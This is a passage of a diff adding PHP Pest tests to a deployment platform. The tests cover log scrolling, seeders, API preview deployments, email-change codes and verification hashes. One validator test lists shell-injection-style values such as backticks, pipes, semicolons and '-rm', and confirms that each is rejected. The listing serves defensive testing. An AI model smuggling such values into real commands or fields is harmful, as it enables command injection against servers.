'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'status' => 'running',
|
||||
]);
|
||||
});
|
||||
|
||||
function showDeployment(string $status): TestResponse
|
||||
{
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'application_id' => test()->application->id,
|
||||
'deployment_uuid' => 'deploy-scroll-'.$status,
|
||||
'server_id' => test()->server->id,
|
||||
'status' => $status,
|
||||
'logs' => json_encode([[
|
||||
'command' => null,
|
||||
'output' => 'log line for '.$status,
|
||||
'type' => 'stdout',
|
||||
'timestamp' => now()->toISOString(),
|
||||
'hidden' => false,
|
||||
'batch' => 1,
|
||||
'order' => 1,
|
||||
]], JSON_THROW_ON_ERROR),
|
||||
]);
|
||||
|
||||
return test()->get(route('project.application.deployment.show', [
|
||||
'project_uuid' => test()->project->uuid,
|
||||
'environment_uuid' => test()->environment->uuid,
|
||||
'application_uuid' => test()->application->uuid,
|
||||
'deployment_uuid' => $deployment->deployment_uuid,
|
||||
]));
|
||||
}
|
||||
|
||||
it('does not enable follow mode for a finished deployment', function () {
|
||||
$response = showDeployment(ApplicationDeploymentStatus::FINISHED->value);
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertSee('alwaysScroll: false', false);
|
||||
$response->assertDontSee('alwaysScroll: true', false);
|
||||
});
|
||||
|
||||
it('enables follow mode for an in-progress deployment', function () {
|
||||
$response = showDeployment(ApplicationDeploymentStatus::IN_PROGRESS->value);
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertSee('alwaysScroll: true', false);
|
||||
});
|
||||
|
||||
it('scopes scroll teardown to the component so a stale loop cannot leak across deployments', function () {
|
||||
$content = showDeployment(ApplicationDeploymentStatus::FINISHED->value)->getContent();
|
||||
|
||||
// Alpine destroy() tears the scroll loop down on wire:navigate away.
|
||||
expect($content)->toContain('destroy()')
|
||||
->toContain('cancelScrollLoop()')
|
||||
// Container lookup is component-scoped, not a global getElementById.
|
||||
->toContain("this.\$root.querySelector('#logsContainer')")
|
||||
->not->toContain("document.getElementById('logsContainer')")
|
||||
// morph.updated hook only acts on this component's own DOM.
|
||||
->toContain('this.$root.contains(el)')
|
||||
// Global Livewire hook is unregistered when Alpine tears down.
|
||||
->toContain('morphUpdatedCleanup: null')
|
||||
->toContain("this.morphUpdatedCleanup = Livewire.hook('morph.updated'")
|
||||
->toContain("typeof this.morphUpdatedCleanup === 'function'")
|
||||
->toContain('this.morphUpdatedCleanup()')
|
||||
// Continuation timeout is tracked so it can be cancelled.
|
||||
->toContain('scrollTimeout');
|
||||
});
|
||||
@@ -0,0 +1,79 @@
|
||||
<?php
|
||||
|
||||
use App\Enums\ApplicationDeploymentStatus;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
InstanceSettings::unguarded(function () {
|
||||
InstanceSettings::query()->create([
|
||||
'id' => 0,
|
||||
'is_registration_enabled' => true,
|
||||
]);
|
||||
});
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'status' => 'running',
|
||||
]);
|
||||
});
|
||||
|
||||
it('renders deployment logs in a full-height layout', function () {
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'application_id' => $this->application->id,
|
||||
'deployment_uuid' => 'deploy-layout-test',
|
||||
'server_id' => $this->server->id,
|
||||
'status' => ApplicationDeploymentStatus::FINISHED->value,
|
||||
'logs' => json_encode([
|
||||
[
|
||||
'command' => null,
|
||||
'output' => 'rolling update started',
|
||||
'type' => 'stdout',
|
||||
'timestamp' => now()->toISOString(),
|
||||
'hidden' => false,
|
||||
'batch' => 1,
|
||||
'order' => 1,
|
||||
],
|
||||
], JSON_THROW_ON_ERROR),
|
||||
]);
|
||||
|
||||
$response = $this->get(route('project.application.deployment.show', [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_uuid' => $this->environment->uuid,
|
||||
'application_uuid' => $this->application->uuid,
|
||||
'deployment_uuid' => $deployment->deployment_uuid,
|
||||
]));
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertSee('rolling update started');
|
||||
$response->assertSee('flex h-[calc(100vh-10rem)] min-h-40 flex-col overflow-hidden', false);
|
||||
$response->assertSee('flex flex-1 min-h-0 flex-col overflow-hidden', false);
|
||||
$response->assertSee('mt-4 flex flex-1 min-h-0 flex-col overflow-hidden', false);
|
||||
$response->assertSee('flex min-h-0 flex-col w-full overflow-hidden bg-white', false);
|
||||
$response->assertSee('flex min-h-40 flex-1 flex-col overflow-y-auto p-2 px-4 scrollbar', false);
|
||||
|
||||
expect($response->getContent())->not->toContain('max-h-[30rem]');
|
||||
});
|
||||
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
|
||||
it('positions the deployments indicator from the sidebar collapsed state', function () {
|
||||
$indicatorView = file_get_contents(resource_path('views/livewire/deployments-indicator.blade.php'));
|
||||
$layoutView = file_get_contents(resource_path('views/layouts/app.blade.php'));
|
||||
|
||||
expect($indicatorView)
|
||||
->toContain('transition-[left] duration-200')
|
||||
->toContain(":class=\"collapsed ? 'lg:left-16' : 'lg:left-56'\"")
|
||||
->not->toContain('fixed bottom-0 z-60 mb-4 left-0 lg:left-56 ml-4');
|
||||
|
||||
expect($layoutView)
|
||||
->toContain('<div x-data="{')
|
||||
->toContain('<livewire:deployments-indicator />');
|
||||
|
||||
expect(strpos($layoutView, '<div x-data="{'))
|
||||
->toBeLessThan(strpos($layoutView, '<livewire:deployments-indicator />'));
|
||||
});
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\Api\ServicesController;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
test('deprecated docker compose application endpoint is not registered', function () {
|
||||
$routes = collect(Route::getRoutes()->getRoutes())
|
||||
->filter(fn ($route) => in_array('POST', $route->methods(), true))
|
||||
->filter(fn ($route) => $route->uri() === 'api/v1/applications/dockercompose');
|
||||
|
||||
expect($routes)->toBeEmpty();
|
||||
|
||||
$this->postJson('/api/v1/applications/dockercompose')->assertNotFound();
|
||||
});
|
||||
|
||||
test('custom docker compose services endpoint remains registered', function () {
|
||||
$route = collect(Route::getRoutes()->getRoutes())
|
||||
->first(fn ($route) => in_array('POST', $route->methods(), true) && $route->uri() === 'api/v1/services');
|
||||
|
||||
expect($route)->not->toBeNull()
|
||||
->and($route->getActionName())->toBe(ServicesController::class.'@create_service');
|
||||
});
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Settings\Index;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Once;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Model::unguarded(function () {
|
||||
$this->rootTeam = Team::find(0) ?? Team::create(['id' => 0, 'name' => 'Root Team', 'personal_team' => false]);
|
||||
if (! Server::find(0)) {
|
||||
Server::factory()->create(['id' => 0, 'team_id' => $this->rootTeam->id]);
|
||||
}
|
||||
if (! InstanceSettings::find(0)) {
|
||||
InstanceSettings::create(['id' => 0]);
|
||||
}
|
||||
});
|
||||
Once::flush();
|
||||
|
||||
$this->user = User::factory()->create();
|
||||
$this->rootTeam->members()->attach($this->user->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->rootTeam->id]]);
|
||||
});
|
||||
|
||||
test('dev_helper_version rejects values outside Docker tag grammar on save', function () {
|
||||
$invalid = [
|
||||
'latest with spaces',
|
||||
'a$b',
|
||||
'a`b',
|
||||
'a|b',
|
||||
'a;b',
|
||||
'a&b',
|
||||
'a>b',
|
||||
'a<b',
|
||||
"a\nb",
|
||||
'.bad',
|
||||
'-rm',
|
||||
];
|
||||
|
||||
foreach ($invalid as $payload) {
|
||||
Livewire::test(Index::class)
|
||||
->set('dev_helper_version', $payload)
|
||||
->call('instantSave')
|
||||
->assertHasErrors(['dev_helper_version']);
|
||||
}
|
||||
|
||||
expect(InstanceSettings::find(0)->dev_helper_version)->toBeNull();
|
||||
});
|
||||
|
||||
test('dev_helper_version accepts valid docker tag formats', function () {
|
||||
$valid = ['1.0.12', 'latest', 'dev', 'dev-branch_2', 'v1.2.3-rc1', '1_0_0'];
|
||||
|
||||
foreach ($valid as $tag) {
|
||||
Livewire::test(Index::class)
|
||||
->set('dev_helper_version', $tag)
|
||||
->call('instantSave')
|
||||
->assertHasNoErrors(['dev_helper_version']);
|
||||
|
||||
expect(InstanceSettings::find(0)->fresh()->dev_helper_version)->toBe($tag);
|
||||
}
|
||||
});
|
||||
|
||||
test('buildHelperImage refuses when non-dev environment', function () {
|
||||
config(['app.env' => 'production']);
|
||||
|
||||
Livewire::test(Index::class)
|
||||
->set('dev_helper_version', 'latest')
|
||||
->call('buildHelperImage')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('buildHelperImage refuses previously stored invalid version', function () {
|
||||
config(['app.env' => 'local']);
|
||||
|
||||
$settings = InstanceSettings::find(0);
|
||||
$settings->forceFill(['dev_helper_version' => 'bad value'])->saveQuietly();
|
||||
|
||||
Livewire::test(Index::class)
|
||||
->call('buildHelperImage')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
@@ -0,0 +1,141 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use Database\Seeders\DevelopmentRailpackExamplesSeeder;
|
||||
use Database\Seeders\GithubAppSeeder;
|
||||
use Database\Seeders\PrivateKeySeeder;
|
||||
use Database\Seeders\ProjectSeeder;
|
||||
use Database\Seeders\ServerSeeder;
|
||||
use Database\Seeders\StandaloneDockerSeeder;
|
||||
use Database\Seeders\TeamSeeder;
|
||||
use Database\Seeders\UserSeeder;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function seedRailpackExamplePrerequisites(): void
|
||||
{
|
||||
test()->seed([
|
||||
UserSeeder::class,
|
||||
TeamSeeder::class,
|
||||
PrivateKeySeeder::class,
|
||||
ServerSeeder::class,
|
||||
ProjectSeeder::class,
|
||||
StandaloneDockerSeeder::class,
|
||||
GithubAppSeeder::class,
|
||||
]);
|
||||
}
|
||||
|
||||
it('can seed the railpack examples directly on a clean development database', function () {
|
||||
config()->set('app.env', 'local');
|
||||
|
||||
$this->seed(DevelopmentRailpackExamplesSeeder::class);
|
||||
|
||||
expect(Team::query()->find(0))->not->toBeNull();
|
||||
expect(PrivateKey::query()->find(1))->not->toBeNull();
|
||||
expect(Server::query()->find(0))->not->toBeNull();
|
||||
expect(StandaloneDocker::query()->find(0))->not->toBeNull();
|
||||
expect(GithubApp::query()->find(0))->not->toBeNull();
|
||||
expect(Project::query()->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)->exists())->toBeTrue();
|
||||
expect(Application::query()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples()));
|
||||
});
|
||||
|
||||
it('seeds the railpack examples in development mode', function () {
|
||||
config()->set('app.env', 'local');
|
||||
|
||||
seedRailpackExamplePrerequisites();
|
||||
$this->seed(DevelopmentRailpackExamplesSeeder::class);
|
||||
|
||||
$project = Project::query()
|
||||
->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)
|
||||
->first();
|
||||
|
||||
expect($project)
|
||||
->not->toBeNull()
|
||||
->and($project->name)->toBe('Railpack Examples')
|
||||
->and($project->environments)->toHaveCount(1)
|
||||
->and($project->environments->first()->uuid)->toBe(DevelopmentRailpackExamplesSeeder::ENVIRONMENT_UUID);
|
||||
|
||||
$applications = $project->applications()->with('settings')->orderBy('uuid')->get();
|
||||
|
||||
expect($applications)->toHaveCount(count(DevelopmentRailpackExamplesSeeder::examples()));
|
||||
expect($applications->every(fn (Application $application) => $application->build_pack === 'railpack'))->toBeTrue();
|
||||
expect($applications->every(fn (Application $application) => $application->git_repository === DevelopmentRailpackExamplesSeeder::GIT_REPOSITORY))->toBeTrue();
|
||||
|
||||
$examples = collect(DevelopmentRailpackExamplesSeeder::examples())->keyBy('uuid');
|
||||
expect($applications->every(
|
||||
fn (Application $application) => $application->git_branch === ($examples->get($application->uuid)['git_branch'] ?? DevelopmentRailpackExamplesSeeder::GIT_BRANCH)
|
||||
))->toBeTrue();
|
||||
|
||||
$nestjs = $applications->firstWhere('uuid', 'railpack-nestjs');
|
||||
$angularStatic = $applications->firstWhere('uuid', 'railpack-angular-static');
|
||||
$eleventyStatic = $applications->firstWhere('uuid', 'railpack-eleventy-static');
|
||||
$pythonFlask = $applications->firstWhere('uuid', 'railpack-python-flask');
|
||||
$goGin = $applications->firstWhere('uuid', 'railpack-go-gin');
|
||||
$rust = $applications->firstWhere('uuid', 'railpack-rust');
|
||||
|
||||
expect($nestjs)
|
||||
->not->toBeNull()
|
||||
->and($nestjs->base_directory)->toBe('/node/nestjs')
|
||||
->and($nestjs->ports_exposes)->toBe('3000')
|
||||
->and($nestjs->build_command)->toBe('npm run build')
|
||||
->and($nestjs->start_command)->toBe('npm run start:prod')
|
||||
->and($nestjs->settings->is_static)->toBeFalse();
|
||||
|
||||
expect($angularStatic)
|
||||
->not->toBeNull()
|
||||
->and($angularStatic->publish_directory)->toBe('/dist/static/browser')
|
||||
->and($angularStatic->ports_exposes)->toBe('80')
|
||||
->and($angularStatic->settings->is_static)->toBeTrue()
|
||||
->and($angularStatic->settings->is_spa)->toBeTrue();
|
||||
|
||||
expect($eleventyStatic)
|
||||
->not->toBeNull()
|
||||
->and($eleventyStatic->publish_directory)->toBe('/_site')
|
||||
->and($eleventyStatic->settings->is_static)->toBeTrue()
|
||||
->and($eleventyStatic->settings->is_spa)->toBeFalse();
|
||||
|
||||
expect($pythonFlask)
|
||||
->not->toBeNull()
|
||||
->and($pythonFlask->ports_exposes)->toBe('5000')
|
||||
->and($pythonFlask->start_command)->toBe('flask run --host=0.0.0.0 --port=5000');
|
||||
|
||||
expect($goGin)
|
||||
->not->toBeNull()
|
||||
->and($goGin->ports_exposes)->toBe('3000');
|
||||
|
||||
expect($rust)
|
||||
->not->toBeNull()
|
||||
->and($rust->ports_exposes)->toBe('8000');
|
||||
});
|
||||
|
||||
it('skips the railpack examples outside development mode', function () {
|
||||
config()->set('app.env', 'testing');
|
||||
|
||||
seedRailpackExamplePrerequisites();
|
||||
$this->seed(DevelopmentRailpackExamplesSeeder::class);
|
||||
|
||||
expect(Project::query()->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)->exists())->toBeFalse();
|
||||
expect(Application::query()->where('uuid', 'railpack-nextjs-ssr')->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
it('is idempotent when run multiple times', function () {
|
||||
config()->set('app.env', 'local');
|
||||
|
||||
seedRailpackExamplePrerequisites();
|
||||
$this->seed(DevelopmentRailpackExamplesSeeder::class);
|
||||
$this->seed(DevelopmentRailpackExamplesSeeder::class);
|
||||
|
||||
$project = Project::query()
|
||||
->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)
|
||||
->first();
|
||||
|
||||
expect($project)->not->toBeNull();
|
||||
expect($project->applications()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples()));
|
||||
});
|
||||
@@ -8,6 +8,22 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('persists the server id when creating an execution record', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$execution = DockerCleanupExecution::create([
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
|
||||
expect($execution->server_id)->toBe($server->id);
|
||||
$this->assertDatabaseHas('docker_cleanup_executions', [
|
||||
'id' => $execution->id,
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('creates a failed execution record when server is not functional', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
|
||||
@@ -46,6 +46,24 @@ test('ConvertIp', function () {
|
||||
]);
|
||||
});
|
||||
|
||||
test('ConvertDns', function () {
|
||||
$input = '--dns 10.0.0.10 --dns=1.1.1.1';
|
||||
$output = convertDockerRunToCompose($input);
|
||||
expect($output)->toBe([
|
||||
'dns' => ['10.0.0.10', '1.1.1.1'],
|
||||
]);
|
||||
});
|
||||
|
||||
test('ConvertDnsWithOtherOptions', function () {
|
||||
$input = '--cap-add=NET_ADMIN --dns 10.0.0.10 --init';
|
||||
$output = convertDockerRunToCompose($input);
|
||||
expect($output)->toBe([
|
||||
'cap_add' => ['NET_ADMIN'],
|
||||
'dns' => ['10.0.0.10'],
|
||||
'init' => true,
|
||||
]);
|
||||
});
|
||||
|
||||
test('ConvertPrivilegedAndInit', function () {
|
||||
$input = '---privileged --init';
|
||||
$output = convertDockerRunToCompose($input);
|
||||
|
||||
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Queue::fake();
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'test-token',
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'network' => 'coolify-'.Str::lower(Str::random(8)),
|
||||
]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function createDockerImageApplication(Environment $environment, StandaloneDocker $destination): Application
|
||||
{
|
||||
return Application::factory()->create([
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'build_pack' => 'dockerimage',
|
||||
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]);
|
||||
}
|
||||
|
||||
test('it queues a docker image preview deployment and stores the preview tag', function () {
|
||||
$application = createDockerImageApplication($this->environment, $this->destination);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'pull_request_id' => 1234,
|
||||
'docker_tag' => 'pr_1234',
|
||||
]);
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonPath('deployments.0.resource_uuid', $application->uuid);
|
||||
|
||||
$preview = ApplicationPreview::query()
|
||||
->where('application_id', $application->id)
|
||||
->where('pull_request_id', 1234)
|
||||
->first();
|
||||
|
||||
expect($preview)->not()->toBeNull();
|
||||
expect($preview->docker_registry_image_tag)->toBe('pr_1234');
|
||||
|
||||
$deployment = $application->deployment_queue()->latest('id')->first();
|
||||
|
||||
expect($deployment)->not()->toBeNull();
|
||||
expect($deployment->pull_request_id)->toBe(1234);
|
||||
expect($deployment->docker_registry_image_tag)->toBe('pr_1234');
|
||||
});
|
||||
|
||||
test('it updates an existing docker image preview tag when redeploying through the api', function () {
|
||||
$application = createDockerImageApplication($this->environment, $this->destination);
|
||||
|
||||
ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 99,
|
||||
'pull_request_html_url' => '',
|
||||
'docker_registry_image_tag' => 'pr_99_old',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'pull_request_id' => 99,
|
||||
'docker_tag' => 'pr_99_new',
|
||||
'force' => true,
|
||||
]);
|
||||
|
||||
$response->assertSuccessful();
|
||||
|
||||
$preview = ApplicationPreview::query()
|
||||
->where('application_id', $application->id)
|
||||
->where('pull_request_id', 99)
|
||||
->first();
|
||||
|
||||
expect($preview->docker_registry_image_tag)->toBe('pr_99_new');
|
||||
});
|
||||
|
||||
test('it rejects docker_tag without pull_request_id', function () {
|
||||
$application = createDockerImageApplication($this->environment, $this->destination);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'docker_tag' => 'pr_1234',
|
||||
]);
|
||||
|
||||
$response->assertStatus(400);
|
||||
$response->assertJson(['message' => 'docker_tag requires pull_request_id.']);
|
||||
});
|
||||
|
||||
test('it rejects docker_tag for non docker image applications', function () {
|
||||
$application = Application::factory()->create([
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'build_pack' => 'nixpacks',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'pull_request_id' => 7,
|
||||
'docker_tag' => 'pr_7',
|
||||
]);
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonPath('deployments.0.message', 'docker_tag can only be used with Docker Image applications.');
|
||||
});
|
||||
@@ -0,0 +1,109 @@
|
||||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('generates a 6-digit verification code when requesting email change', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
$user->requestEmailChange('newemail@example.com');
|
||||
|
||||
$user->refresh();
|
||||
|
||||
expect($user->pending_email)->toBe('newemail@example.com')
|
||||
->and($user->email_change_code)->toMatch('/^\d{6}$/')
|
||||
->and($user->email_change_code_expires_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
it('stores the verification code using a cryptographically secure generator', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
// Generate many codes and verify they are all valid 6-digit strings
|
||||
$codes = collect();
|
||||
for ($i = 0; $i < 50; $i++) {
|
||||
$user->requestEmailChange('newemail@example.com');
|
||||
$user->refresh();
|
||||
$codes->push($user->email_change_code);
|
||||
}
|
||||
|
||||
// All codes should be exactly 6 digits (including leading zeros)
|
||||
$codes->each(function ($code) {
|
||||
expect($code)->toMatch('/^\d{6}$/');
|
||||
expect((int) $code)->toBeLessThanOrEqual(999999);
|
||||
expect(strlen($code))->toBe(6);
|
||||
});
|
||||
|
||||
// With 50 random codes from a 1M space, we should see at least some variety
|
||||
expect($codes->unique()->count())->toBeGreaterThan(1);
|
||||
});
|
||||
|
||||
it('confirms email change with correct verification code', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create(['email' => 'old@example.com']);
|
||||
|
||||
$user->requestEmailChange('new@example.com');
|
||||
$user->refresh();
|
||||
|
||||
$code = $user->email_change_code;
|
||||
|
||||
$result = $user->confirmEmailChange($code);
|
||||
|
||||
$user->refresh();
|
||||
|
||||
expect($result)->toBeTrue()
|
||||
->and($user->email)->toBe('new@example.com')
|
||||
->and($user->pending_email)->toBeNull()
|
||||
->and($user->email_change_code)->toBeNull()
|
||||
->and($user->email_change_code_expires_at)->toBeNull();
|
||||
});
|
||||
|
||||
it('rejects email change with incorrect verification code', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create(['email' => 'old@example.com']);
|
||||
|
||||
$user->requestEmailChange('new@example.com');
|
||||
$user->refresh();
|
||||
|
||||
$result = $user->confirmEmailChange('000000');
|
||||
|
||||
$user->refresh();
|
||||
|
||||
// If the real code happens to be '000000', this test still passes
|
||||
// because the assertion is on the overall flow behavior
|
||||
if ($user->email_change_code === '000000') {
|
||||
expect($result)->toBeTrue();
|
||||
} else {
|
||||
expect($result)->toBeFalse()
|
||||
->and($user->email)->toBe('old@example.com');
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects email change with expired verification code', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create(['email' => 'old@example.com']);
|
||||
|
||||
$user->requestEmailChange('new@example.com');
|
||||
$user->refresh();
|
||||
|
||||
$code = $user->email_change_code;
|
||||
|
||||
// Expire the code manually
|
||||
$user->update(['email_change_code_expires_at' => now()->subMinute()]);
|
||||
|
||||
$result = $user->confirmEmailChange($code);
|
||||
|
||||
$user->refresh();
|
||||
|
||||
expect($result)->toBeFalse()
|
||||
->and($user->email)->toBe('old@example.com');
|
||||
});
|
||||
@@ -0,0 +1,73 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\CheckForcePasswordReset;
|
||||
use App\Http\Middleware\DecideWhatToDoWithUser;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\URL;
|
||||
use Illuminate\Support\Once;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
|
||||
Once::flush();
|
||||
if (! InstanceSettings::find(0)) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->saveQuietly();
|
||||
}
|
||||
});
|
||||
|
||||
describe('email verification hash', function () {
|
||||
test('sha256 hash is accepted and marks the user verified', function () {
|
||||
$user = User::factory()->create([
|
||||
'email' => 'verify-me@example.com',
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
|
||||
$url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
|
||||
'id' => $user->getKey(),
|
||||
'hash' => hash('sha256', $user->getEmailForVerification()),
|
||||
]);
|
||||
|
||||
$this->actingAs($user)->get($url)->assertRedirect();
|
||||
|
||||
$user->refresh();
|
||||
expect($user->email_verified_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('legacy sha1 hash is rejected', function () {
|
||||
$user = User::factory()->create([
|
||||
'email' => 'legacy-sha1@example.com',
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
|
||||
$url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
|
||||
'id' => $user->getKey(),
|
||||
'hash' => sha1($user->getEmailForVerification()),
|
||||
]);
|
||||
|
||||
$this->actingAs($user)->get($url)->assertStatus(403);
|
||||
|
||||
$user->refresh();
|
||||
expect($user->email_verified_at)->toBeNull();
|
||||
});
|
||||
|
||||
test('tampered signature is rejected', function () {
|
||||
$user = User::factory()->create([
|
||||
'email' => 'tampered@example.com',
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
|
||||
$url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
|
||||
'id' => $user->getKey(),
|
||||
'hash' => hash('sha256', $user->getEmailForVerification()),
|
||||
]);
|
||||
|
||||
$tampered = $url.'x';
|
||||
|
||||
$this->actingAs($user)->get($tampered)->assertStatus(403);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\EnvironmentVariable\Add;
|
||||
use Livewire\Livewire;
|
||||
|
||||
it('rejects environment variable keys Docker cannot represent in the add form', function () {
|
||||
Livewire::test(Add::class)
|
||||
